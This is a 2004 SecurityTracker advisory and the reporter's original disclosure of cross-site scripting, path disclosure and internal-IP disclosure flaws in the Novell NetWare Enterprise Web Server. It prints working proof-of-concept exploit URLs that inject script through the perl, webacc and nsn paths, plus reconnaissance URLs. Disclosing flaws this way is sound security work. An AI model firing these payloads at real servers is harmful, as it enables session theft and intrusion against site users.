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NetWare Enterprise Server PERL Handler Input Validation Flaw Permits Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1008827
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jan 23 2004
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Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Description: Rafel Ivgi (The-Insider) reported an input validation vulnerability in the NetWare Enterprise Server in the CGI2PERL module. A remote user can conduct cross-site scripting attacks.
It is reported that CGI2PERL does not properly filter HTML code from user-supplied input before displaying error messages based on
the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running the NetWare Enterprise web server
software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies
(including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web
form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/perl/\<sCRIPT>alert("d")</sCR
IPT>\.pl
http://[target]/perl/<script>alert('XSS')</script>.pl
http://[target]/servlet/webacc?User.id="><script>alert('XSS')</script>
http://[target]/servlet/web
acc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=login&merge=webacc&action=User.Login&GWAP.ver
sion="><script>alert('XSS')</script>
http://[target]/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas
It is reported that the server may also disclose
the installation path to remote users. A demonstration exploit URL is provided:
http://[target]/perl/\/.pl
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
NetWare web server software, access data recently submitted by the target user via web form to the site, or take actions on the
site acting as the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.novell.com/ (Links to External Site)
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Cause: Access control error, Input validation error
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Reported By: Rafel Ivgi, The-Insider <theinsider@012.net.il>
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Message History:
None.
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Source Message Contents
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Date: Fri, 23 Jan 2004 02:35:31 +0200
From: Rafel Ivgi, The-Insider <theinsider@012.net.il>
Subject: NetWare-Enterprise-Web-Server/5.1/6.0 Multiple Vulnerabilities
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Software: Novell Netware
Vendor: http://www.Novell.com
Versions: NetWare-Enterprise-Web-Server/5.1/6.0
Platforms: Windows
Bug: Multiple Vulnerabilities
Risk: Medium
Exploitation: Remote with browser
Date: 6 Jan 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Introduction
2) Bug
3) The Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===============
1) Introduction
===============
Novell NetWare-Enterprise-Web-Server is a strong and steady webserver.
It is used by big company's and some governments.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
Cross Site Scripting and Local Path Disclosure Vulnerabillity:
----------------------------------------------------------------------------
-------
The Vulnerabillity is Cross Site Scripting type. If an attacker will request
the one of following url from the server
http://<host>/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl - Cross Site
Scripting Vulnerabillity
http://<host>/perl/<script>alert('XSS')</script>.pl - Cross Site
Scripting Vulnerabillity
http://<host>/perl/\/.pl
- cgi2perl running on the server contains Local Path Disclosure
http://<host>/servlet/webacc?User.id="><script>alert('XSS')</script> -
Cross Site Scripting Vulnerabillity - Unfiltered Parameters
http://<host>/servlet/webacc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=login&merge=webacc&action=User.Login&GWAP.ver
sion="><script>alert('XSS')</script> - Cross Site Scripting
Vulnerabillity - Unfiltered Parameters
http://<host>/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".b
as
- Cross Site Scripting Vulnerabillity
If all of these circumstances are met, an attacker may be able to exploit
this issue
via a malicious link containing arbitrary HTML and script code as part of
the hostname.
When the malicious link is clicked by an unsuspecting user, the
attacker-supplied HTML
and script code will be executed by their web client. This will occur
because the server
will echo back the malicious hostname supplied in the client's request,
without sufficiently
escaping HTML and script code.
Attacks of this nature may make it possible for attackers to manipulate web
content or to
steal cookie-based authentication credentials. It may be possible to take
arbitrary actions as the victim user.
Internal IP Disclosure: - and much more server info...
-----------------------------
http://<host>/examples/jsp/snp/snoop.jsp
http://<host>/servlet/SnoopServlet
http://<host>/nsn/env.bas
http://<host>/lcgi/lcgitest.nlm
Load .htt files:
-------------------
http://<host>/servlet/webacc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=c:\windows\web\folder
Directory Listing:
-----------------------
/com/
/com/novell/
/com/novell/webaccess
/ns-icons/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===========
3) The Code
===========
http://<host>/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl - Cross Site
Scripting Vulnerabillity
http://<host>/perl/<script>alert('XSS')</script>.pl - Cross Site
Scripting Vulnerabillity
http://<host>/perl/\/.pl
- cgi2perl running on the server contains Local Path Disclosure
http://<host>/servlet/webacc?User.id="><script>alert('XSS')</script> -
Cross Site Scripting Vulnerabillity - Unfiltered Parameters
http://<host>/servlet/webacc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=login&merge=webacc&action=User.Login&GWAP.ver
sion="><script>alert('XSS')</script> - Cross Site Scripting
Vulnerabillity - Unfiltered Parameters
http://<host>/examples/jsp/snp/snoop.jsp - Internal IP Disclosure
http://<host>/servlet/webacc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=<htt file> - Load .htt files
http://<host>/servlet/SnoopServlet - Internal IP Disclosure
http://<host>/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".b
as
- Cross Site Scripting Vulnerabillity
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A lot of thanks to
Stuart Moore:
**************************
SecurityTracker.com
SecurityGlobal.net LLC
smoore@securityglobal.net
+1 301 495 5930 voice
+1 413 691 4346 fax
****************************
Without his help this wouldn't have been published.
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."
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